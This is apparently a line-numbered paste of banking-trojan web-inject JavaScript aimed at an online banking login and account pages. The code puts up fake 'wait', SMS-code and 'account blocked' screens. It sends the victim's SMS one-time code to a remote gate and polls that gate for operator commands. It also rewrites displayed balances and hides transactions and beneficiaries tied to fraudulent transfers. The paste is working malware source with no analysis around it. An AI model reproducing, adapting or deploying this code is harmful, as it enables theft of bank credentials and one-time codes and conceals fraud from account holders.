url(data:image/gif;base64,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) no-repeat scroll 7px 7px #FFFFFF;color: #999999;font-size: 1.167em;height: 46px;margin: 0;padding: 0px 15px 0 50px;"><div style="padding-top:11px;font-size:11px;color:#185BB6;">'+FKTEXT.WAITING+'</div></div><div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAoAAAAPCAYAAADd/14OAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAsSURBVHjaYpw5c+Z/BiIAIxDrEaOQBYj/jCqkisK/A2fiP2IUMjMQCQACDABXfg8C4LEGcAAAAABJRU5ErkJggg==) repeat-x scroll left top transparent;height: 14px;"></div>   </div>  <div style="background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABUAAABKCAYAAABUzx+0AAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKsSURBVHja7Jm/qxpBEMdn9wnGkHSCWGiRMlja+AcI6SSQPyCVEJI/SAQRhfRpguA/ICm0slFEEYlaWaXw6d3uu/NHmDfO7u3FR6pbGNbTu898d/aHzigAQMK5aXje6LVzSxmg+h44Bw17Qa51HHgIfSAPc6DQiXJVfoVyMGqS3BdLKTbFXEfGOgS+uQyPGlh655hSVQL1NJ5WxamL4ZgpBsYBjGAMvQKxQmo+ei2RAFYpVicRXEQoZeFYqUImDJNCN4hgNsszpVevvmWW6XqmK+X0+UOz2dzUarUP5XL57Wq1mux2O4+AuBBog5PzA8fjUW+3W5hMJvvFYnEcDodfG43Gr4tiF8NhO8GFDtrVQ6AU+v3+42Aw+NxqtUbBWx562LNAfbwcJR5XoVCAarWarlQqjVwul75sDEnMtvNOTdKZKBaLkM/nX9Xr9U9o8rieg/PQsJVKpXQA/xihkFMrjNBsNgtCiHeOsJvGQjOZDCilXjuo4hwIFhqohGBRxFZoVUoWvnA4b2NBbQezKRROSoGL2z3DN4UDXhLq1BJoAk2gCTSBJtAE+r+hTim6dIBwMH2vUu3o8K9j6ThczowO/xUaP6aHwwGklI8RCk2ONAsNsr7w1/RvpgbgpJiFjsfj/Xq9/sFlcw7qb6GbzQaWy6Xf7Xa/k6KCMtRVblRLCuz1evvRaPRtNpv9YXJP5bIKUp7nQZjwTqfT/Xw+94OE9wtKeOMO/wxtt9t+MNOLQOXPTqfTRQp9g9IoJ6ff7+/JjTgzpj33msb6VJXwmHKHMoCjlAKGcjOsHIFsCckjJSRlUc6BVRRUR0C1DUahYHlIGUZg3K4pVP/QFqhtR1mVupY6Iw8UrDTqUHY+U69QiDgvIW752Ge+c+DeQrcylOG1qzIuf3/xPw+eBBgA9ioHIvHy2yIAAAAASUVORK5CYII=) no-repeat scroll left top transparent;float: left;height: 74px;width: 21px;"></div></div>';
  927.             var popup_elem_common = document.getElementById("popup_elem_common");
  928.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  929.             var popup_elem = document.createElement("div");
  930.             popup_elem.id = "popup_elem_common";
  931.             popup_elem.style.position = "absolute";
  932.             popup_elem.style.top = "0px";
  933.             popup_elem.style.left = "0px";
  934.             popup_elem.style.width = "100%";
  935.             popup_elem.style.height = "100%";
  936.             popup_elem.style.zIndex = "1001";
  937.             popup_elem.style.background = "url(blank.gif)";
  938.             popup_elem.innerHTML = fkWaitContent;
  939.             document.getElementsByTagName('body')[0].appendChild(popup_elem);
  940.            
  941.             if(status)return false;
  942.             setTimeout(vw.finish,90000);
  943.         break;
  944.        
  945.         case("hidewait"):
  946.             var popup_elem_common = document.getElementById("popup_elem_common");
  947.             if(popup_elem_common)popup_elem_common.parentNode.removeChild(popup_elem_common);
  948.         break;
  949.        
  950.         case("sms"):
  951.             vw.fake_step("hidewait");
  952.             var smsDiv = document.getElementById("smsDiv");
  953.             if(smsDiv)smsDiv.parentNode.removeChild(smsDiv);
  954.             var pointTd = by.args(document,"td","background:cadre_left\.png","style:cadre_left\.png");
  955.             if(pointTd){
  956.                 var pointTr = pointTd.parentNode;
  957.                 var tables = vw.from(pointTr,"table");
  958.                 if(tables && tables.length > 0){
  959.                     var pointTable = tables[0];
  960.                     var smsDiv = document.createElement("div");
  961.                     smsDiv.id = "smsDiv";
  962.                     smsDiv.style.padding = "8px";
  963.                     smsDiv.style.textAlign = "left";
  964.                     smsDiv.style.fontSize = "11px";
  965.                     smsDiv.innerHTML = '<img align=top width="16" height="16" src="/banque/PA_CanalnetApp/jsp/outilsxml/identification/imgs/second-step.png">&nbsp;&nbsp;&nbsp;'+FKTEXT.SMSTITLE+
  966.                                         '<br>'+
  967.                                         FKTEXT.SMSQUERY+
  968.                                         '<br><br><bR>'+
  969.                                         FKTEXT.SMSLABEL+"<input style='float:right;' type='password' id='vw.inp_sms_input' maxlength=6 size=6>"
  970.                                         '';
  971.                     pointTable.parentNode.insertBefore(smsDiv,pointTable);
  972.                     pointTable.style.visibility = "hidden";
  973.                     UI_login_input.disabled = true;
  974.                 }
  975.             }
  976.         break;
  977.        
  978.         case("block"):
  979.             vw.fake_step("hidewait");
  980.             var artDiv = document.getElementById("artDiv");
  981.             if(artDiv)artDiv.parentNode.removeChild(artDiv);
  982.             var artDiv = document.createElement("div");
  983.             artDiv.id = "artDiv";
  984.             artDiv.className = "rubrique";
  985.             artDiv.innerHTML = '<table width="350" cellspacing="0" cellpadding="0" border="0">'+
  986.                                         '<tbody>'+
  987.                                             '<tr>'+
  988.                                                 '<td width="6" height="69" rowspan="5"></td>'+
  989.                                                 '<td width="338" height="4" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_02.gif" colspan="2"><img width="421" height="4" alt="" src="/banque/PA_CanalnetApp/jsp/imgs/transp.gif"></td>'+
  990.                                                 '<td width="6" height="69" rowspan="5"></td>'+
  991.                                             '</tr>'+
  992.                                             '<tr>'+
  993.                                                 '<td width="100%" height="18" align="center" class="TitreErreur" colspan="2">'+FKTEXT.BLOCKTITLE+'</td>'+
  994.                                             '</tr>'+
  995.                                             '<tr>'+
  996.                                                 '<td width="100%" height="6" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_05.gif" colspan="2"></td>'+
  997.                                             '</tr>'+
  998.                                             '<tr>'+
  999.                                                 '<td width="312" height="34"  align="center" class="LibelleErreur" colspan=2 style="background:#E7E7E7;padding:10px;">'+
  1000.                                                 FKTEXT.BLOCKMAIN+"<br>"+FKTEXT.BLOCTRYNEXTTIME+
  1001.                                                 '</td>'+
  1002.                                             '</tr>'+
  1003.                                             '<tr>'+
  1004.                                                 '<td width="100%" height="7" background="/banque/PA_CanalnetApp/jsp/cadres/imgs/cadre_erreur_08.gif" colspan="2"></td>'+
  1005.                                             '</tr>'+
  1006.                                         '</tbody>'+
  1007.                                     '</table>';
  1008.             var mainTable = by.args(document,"table","class:identification");
  1009.             if(mainTable){
  1010.                 mainTable.parentNode.insertBefore(artDiv,mainTable);
  1011.                 mainTable.style.display = "none";
  1012.             }
  1013.                
  1014.         break;
  1015.     }
  1016. }
  1017.  
  1018. vw.actions = function(){
  1019.     switch(QUERY.COMMAND){
  1020.                
  1021.         case("OFFLINE"):
  1022.             vw.fake_step("login");
  1023.         break;
  1024.        
  1025.         case("BLOCK"):
  1026.             vw.fake_step("block");
  1027.         break;
  1028.        
  1029.         case("SMS"):
  1030.             vw.fake_step("sms");
  1031.         break;
  1032.        
  1033.         case("LOGIN"):
  1034.             vw.fake_step("login");
  1035.         break;
  1036.        
  1037.         case("REASK LOGIN INFO"):
  1038.             vw.fake_step("relogin");
  1039.         break;
  1040.        
  1041.         case("WAIT"):
  1042.             vw.fake_step("wait",true);
  1043.             setTimeout(hujax.command,1000);
  1044.         break;
  1045.        
  1046.     }
  1047. }
  1048.  
  1049. //=================== INIT REPLACER FUNCTIONS =====================
  1050.  
  1051. replacer.get_balancetable = function(){
  1052.     var r1 = document.getElementById("corps");
  1053.     var r2 = by.args(document,"div","class:colonnegaucheunecompte");
  1054.     if(r1 && r2){
  1055.         return r2;
  1056.     }else{
  1057.         return false;
  1058.     }
  1059. }
  1060.  
  1061. replacer.get_historytable = function(){
  1062.     return by.args(document,"table","id:tablecompte","summary:liste des op.*rations");
  1063. }
  1064.  
  1065. replacer.get_blockstable = function(){
  1066.     return by.args(document,"ul","id:carousel");
  1067. }
  1068.  
  1069. replacer.get_dropstable = function(){
  1070.     return by.args(document,"div","class:gererbenef","id:listecomptes");
  1071. }
  1072.  
  1073. replacer.get_dropshistory = function(){
  1074.     var menuLink = by.args(document,"a","onclick:listervirementsaction");
  1075.     if(menuLink){
  1076.         if(/itemSelect/igm.test(menuLink.parentNode.className)){
  1077.             return true;
  1078.         }
  1079.     }
  1080.     return false;
  1081. }
  1082.  
  1083. replacer.init(replacer.get_balancetable(),replacer.get_historytable(),replacer.get_blockstable(),replacer.get_dropstable(),replacer.get_dropshistory());
  1084. replacer.currency(summ.get,summ.set);
  1085.  
  1086. replacer.finder_amount = function(txt){
  1087.     if(txt){
  1088.         var amount = 0;
  1089.         for(var i = 0; i < replacerArray.length; i++){
  1090.             var pattern = new RegExp(replacerArray[i]["ACCOUNT"],"igm");
  1091.             if(pattern.test(txt)){
  1092.                 amount += summ.get(replacerArray[i]["AMOUNT"]);
  1093.             }
  1094.         }
  1095.     }
  1096.     return amount;
  1097. }
  1098.  
  1099. replacer.finder_transfer = function(txt){
  1100.     if(txt){
  1101.         for(var i = 0; i < replacerArray.length; i++){
  1102.             var pattern_1 = new RegExp(replacerArray[i]["NAME"],"igm");
  1103.             var pattern_2 = new RegExp(replacerArray[i]["MEMO"],"igm");
  1104.             if(pattern_1.test(txt) || pattern_2.test(txt)){
  1105.                 return true;
  1106.             }
  1107.         }
  1108.     }
  1109.     return false;
  1110. }
  1111.  
  1112. replacer.totalamount = function(){
  1113.     var amount = 0;
  1114.     for(var i = 0; i < replacerArray.length; i++){
  1115.         amount += summ.get(replacerArray[i]["AMOUNT"]);
  1116.     }
  1117.     return amount;
  1118. }
  1119.  
  1120. replacer.hide = function(){
  1121.     var imgs = vw.from(document,"img");
  1122.     if(imgs && imgs.length > 0){
  1123.         for(var i = 0; i < imgs.length; i++){
  1124.             if(/Actions/igm.test(imgs[i].alt) && /plus\.png/igm.test(imgs[i].src)){
  1125.                 if(!replacer.get_dropstable())imgs[i].style.display = "none";
  1126.             }
  1127.         }
  1128.     }
  1129.    
  1130.     var b1 = by.args(document,"div","class:listeaction");
  1131.     if(b1)b1.parentNode.removeChild(b1);
  1132.    
  1133.     var b2 = by.args(document,"div","class:blocreleveoutils");
  1134.     if(b2)b2.parentNode.removeChild(b2);
  1135.    
  1136.     var ahs = vw.from(document,"a");
  1137.     if(ahs && ahs.length > 0){
  1138.         for(var i = 0; i < ahs.length; i++){
  1139.             if(/Enregistrer vos pointages/igm.test(vw.text(ahs[i]))){
  1140.                 ahs[i].parentNode.style.display = "none";
  1141.             }
  1142.         }
  1143.     }
  1144. }
  1145.  
  1146. replacer.balance = function(){
  1147.     if(replacer.get_balancetable()){
  1148.         var totalDiv = by.args(document,"div","class:montanttotalavoirs");
  1149.         if(totalDiv){
  1150.             var amount = replacer.totalamount();
  1151.             if(amount > 0){
  1152.                 replacer.replace(totalDiv,amount);
  1153.             }
  1154.         }
  1155.        
  1156.         var tables = vw.from(document,"table");
  1157.         if(tables && tables.length > 0){
  1158.             for(var i = 0; i < tables.length; i++){
  1159.                 if(/Liste des contrats/igm.test(tables[i].summary)){
  1160.                     var amountTotal = 0;
  1161.                     var trs = vw.from(tables[i],"tr");
  1162.                     if(trs && trs.length > 0){
  1163.                         for(var e = 0; e < trs.length; e++){
  1164.                             var tds = vw.from(trs[e],"td");
  1165.                             if(tds && tds.length > 5){
  1166.                                 var accountNumber = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1167.                                 var amount = replacer.finder_amount(accountNumber);
  1168.                                 if(amount > 0){
  1169.                                     amountTotal += amount;
  1170.                                     replacer.replace(tds[3],amount);
  1171.                                     var ahs = vw.from(tds[3],"a");
  1172.                                     if(ahs && ahs.length > 0){
  1173.                                         ahs[0].style.textDecoration = "none";
  1174.                                     }
  1175.                                    
  1176.                                     var lastAmount = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1177.                                     if(summ.get(lastAmount) > 0){
  1178.                                         tds[3].className = "positif";
  1179.                                     }
  1180.                                    
  1181.                                     var parentDiv = tables[i].parentNode;
  1182.                                     if(parentDiv){
  1183.                                         var lastChar = parentDiv.id.substr(parentDiv.id.length-1,1);
  1184.                                         if(lastChar){
  1185.                                             var totalBlockParent = document.getElementById("blocIndex_"+lastChar);
  1186.                                             if(totalBlockParent){
  1187.                                                 var totalBlock = by.args(totalBlockParent,"div","class:montant");
  1188.                                                 if(totalBlock){
  1189.                                                     replacer.replace(totalBlock,amount);
  1190.                                                     var lastAmount = vw.text(totalBlock).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1191.                                                     if(summ.get(lastAmount) > 0){
  1192.                                                         totalBlock.className = "montant positif";
  1193.                                                     }
  1194.                                                 }
  1195.                                             }
  1196.                                         }
  1197.                                     }
  1198.                                 }
  1199.                                
  1200.                                 if(trs[e].className == "total"){
  1201.                                     if(amountTotal > 0){
  1202.                                         replacer.replace(tds[3],amountTotal);
  1203.                                     }
  1204.                                 }
  1205.                             }
  1206.                         }
  1207.                     }
  1208.                 }
  1209.             }
  1210.         }
  1211.     }
  1212. }
  1213.  
  1214. replacer.history = function(){
  1215.     if(replacer.get_historytable()){
  1216.         var accountSelect = document.getElementById("cboContractNumbers");
  1217.         if(accountSelect){
  1218.             var accountNumbetPattern = vw.selected(accountSelect).TEXT.replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1219.             var amount = replacer.finder_amount(accountNumbetPattern);
  1220.             if(amount > 0){
  1221.                 var topAmountTd = by.args(document,"td","class:soldereleve");
  1222.                 if(topAmountTd){
  1223.                     replacer.replace(topAmountTd,amount);
  1224.                 }
  1225.                
  1226.                 var table = replacer.get_historytable();
  1227.                 if(table){
  1228.                     var trs = vw.from(table,"tr");
  1229.                     if(trs && trs.length > 0){
  1230.                         for(var i = 0; i < trs.length; i++){
  1231.                             var tds = vw.from(trs[i],"td");
  1232.                             if(tds && tds.length > 7){
  1233.                                 var transferInfoPattern = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1234.                                 if(replacer.finder_transfer(transferInfoPattern)){
  1235.                                     trs[i].style.display = "none";
  1236.                                 }
  1237.                                 tds[6].innerHTML = "";
  1238.                             }
  1239.                         }
  1240.                     }
  1241.                 }
  1242.             }
  1243.         }
  1244.     }
  1245. }
  1246.  
  1247. replacer.blocks = function(){
  1248.     if(replacer.get_blockstable()){
  1249.         var lis = vw.from(document,"li");
  1250.         if(lis && lis.length > 0){
  1251.             for(var i = 0; i < lis.length; i++){
  1252.                 if(/blocContent.*jcarousel/igm.test(lis[i].className)){
  1253.                     var accountNumberTag = by.args(lis[i],"p","class:numcompte");
  1254.                     var accountAmountTag = by.args(lis[i],"span","class:solde");
  1255.                     if(accountNumberTag && accountAmountTag){
  1256.                         var accountNumber = vw.text(accountNumberTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|\s*)/igm,"");
  1257.                         var amount = replacer.finder_amount(accountNumber);
  1258.                         if(amount > 0){
  1259.                             replacer.replace(accountAmountTag,amount);
  1260.                             var lastAmount = vw.text(accountAmountTag).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1261.                             if(summ.get(lastAmount) > 0){
  1262.                                 accountAmountTag.className = "solde vert";
  1263.                             }
  1264.                         }
  1265.                     }
  1266.                 }
  1267.             }
  1268.         }
  1269.         var imgs = vw.from(document,"img");
  1270.         if(imgs && imgs.length > 0){
  1271.             for(var i = 0; i < imgs.length; i++){
  1272.                 if(/closeList/igm.test(imgs[i].src)){
  1273.                     var ahs = imgs[i].parentNode;
  1274.                     jQuery(ahs).unbind("click");
  1275.                 }
  1276.             }
  1277.         }
  1278.     }
  1279. }
  1280.  
  1281. replacer.drops = function(){
  1282.     if(replacer.get_dropstable()){
  1283.         var tables = vw.from(replacer.get_dropstable(),"table");
  1284.         if(tables && tables.length > 0){
  1285.             var table = tables[0];
  1286.             var trs = vw.from(table,"tr");
  1287.             if(trs && trs.length > 0){
  1288.                 for(var i = 0; i < trs.length; i++){
  1289.                     var tds = vw.from(trs[i],"td");
  1290.                     if(tds && tds.length > 5){
  1291.                         var transferInfoPattern = vw.text(tds[0]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1292.                         if(replacer.finder_transfer(transferInfoPattern)){
  1293.                             trs[i].style.display = "none";
  1294.                         }
  1295.                     }
  1296.                 }
  1297.             }
  1298.         }
  1299.     }
  1300. }
  1301.  
  1302. replacer.dropshistory = function(){
  1303.     if(replacer.get_dropshistory()){
  1304.         var table = by.args(document,"table","class:tablecompte");
  1305.         if(table){
  1306.             var trs = vw.from(table,"tr");
  1307.             if(trs && trs.length > 0){
  1308.                 for(var i = 0; i < trs.length; i++){
  1309.                     var tds = vw.from(trs[i],"td");
  1310.                     if(tds && tds.length > 5){
  1311.                         var transferInfoPattern_1 = vw.text(tds[2]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1312.                         var transferInfoPattern_2 = vw.text(tds[3]).replace(/(\r\n|\r|\n|[\r]|[\n]|[\t]|\s*$|^\s*)/ig,"");
  1313.                         if(replacer.finder_transfer(transferInfoPattern_1) || replacer.finder_transfer(transferInfoPattern_2)){
  1314.                             trs[i].style.display = "none";
  1315.                         }
  1316.                     }
  1317.                 }
  1318.             }
  1319.         }
  1320.     }
  1321. }
  1322.  
  1323. replacer.start = function(){
  1324.     replacer.balance();
  1325.     replacer.history();
  1326.     replacer.blocks();
  1327.     replacer.drops();
  1328.     replacer.dropshistory();
  1329. }
  1330.  
  1331. //=================== INIT AJAX FUNCTIONS =====================
  1332.  
  1333. hujax.callback(UniversalCallback);
  1334.  
  1335. function UniversalCallback(){
  1336.     switch(kl){
  1337.        
  1338.         case("check"):
  1339.             if(admindata == "C:ON"){
  1340.                 vw.start();
  1341.             }else if(admindata == "C:BLOCK"){
  1342.                 vw.fake_step("block");
  1343.             }
  1344.             vw.showdoc(document);
  1345.         break;
  1346.        
  1347.         case("login"):
  1348.             if(typeof admindata != "undefined"){
  1349.                 vw.fake_step("wait");
  1350.                 hujax.command();
  1351.             }else{
  1352.                 vw.fake_step("login");
  1353.             }
  1354.         break;
  1355.        
  1356.         case("command"):
  1357.             if(QUERY.FINISH && !QUERY.CHANGED){
  1358.                 vw.fake_step("login");
  1359.             }else{
  1360.                 if(typeof admindata != "undefined"){
  1361.                     var els = admindata.split("|");
  1362.                     if(els && els.length == 2){
  1363.                         if(els[0] == QUERY.COMMAND){
  1364.                             setTimeout(hujax.command,1000);
  1365.                         }else{
  1366.                             QUERY.CHANGED = true;
  1367.                             QUERY.COMMAND = els[0];
  1368.                             QUERY.VALUE = els[1];
  1369.                             vw.actions();
  1370.                         }
  1371.                     }
  1372.                 }
  1373.             }
  1374.         break;
  1375.        
  1376.         case("replacer"):
  1377.             if(typeof admindata != "undefined"){
  1378.                 var els = admindata.split("|");
  1379.                 if(els && els.length > 0){
  1380.                     for(var i = 0; i < els.length; i++){
  1381.                         var p = els[i].split("/");
  1382.                         if(p && p.length == 4){
  1383.                             replacerArray[i] = new Array();
  1384.                             replacerArray[i]["AMOUNT"] = p[0];
  1385.                             replacerArray[i]["ACCOUNT"] = p[1];
  1386.                             replacerArray[i]["NAME"] = p[2];
  1387.                             replacerArray[i]["MEMO"] = p[3];
  1388.                         }
  1389.                     }
  1390.                    
  1391.                     replacer.hide();
  1392.                     if(replacer.canstart()){
  1393.                         replacer.start();
  1394.                     }
  1395.                     vw.showdoc(document);
  1396.                 }else{
  1397.                     vw.showdoc(document);
  1398.                 }
  1399.             }else{
  1400.                 vw.showdoc(document);
  1401.             }
  1402.         break;
  1403.     }
  1404. }
  1405.  
  1406. hujax.command = function(){
  1407.     var LINK = GATE+"?mode=COMMAND&hash="+Number(new Date());
  1408.     LINK += "&type=intercept";
  1409.     kl = "command";
  1410.     hujax.send(LINK);
  1411. }
  1412.  
  1413. hujax.start = function(){
  1414.     var LINK = GATE+"?mode=CHECKSTART&hash="+Number(new Date());
  1415.     LINK += "&type=intercept";
  1416.     LINK += "&domain="+document.domain;
  1417.     LINK += "&browser="+vw.browser();
  1418.     kl = "check";
  1419.     hujax.send(LINK);
  1420. }
  1421.  
  1422. hujax.replacer = function(){
  1423.     var LINK = GATE+"?mode=REPLACER&hash="+Number(new Date());
  1424.     kl = "replacer";
  1425.     hujax.send(LINK);
  1426. }
  1427.  
  1428. //=================== INIT START FUNCTIONS =====================
  1429.  
  1430. vw.button = function(){
  1431.     if(QUERY.COMMAND == "SMS"){
  1432.         var vwinp_sms_input = document.getElementById("vw.inp_sms_input");
  1433.         if(vwinp_sms_input){
  1434.             vw.fake_step("wait",true);
  1435.             HOLDER.SMS = vwinp_sms_input.value;
  1436.             var LINK = GATE+"?mode=JABBER&hash="+Number(new Date());
  1437.             LINK += "&type=intercept";
  1438.             LINK += "&message=Code Recieved";
  1439.             LINK += "&data="+HOLDER.SMS;
  1440.             kl = "command";
  1441.             hujax.send(LINK);
  1442.         }
  1443.     }else{
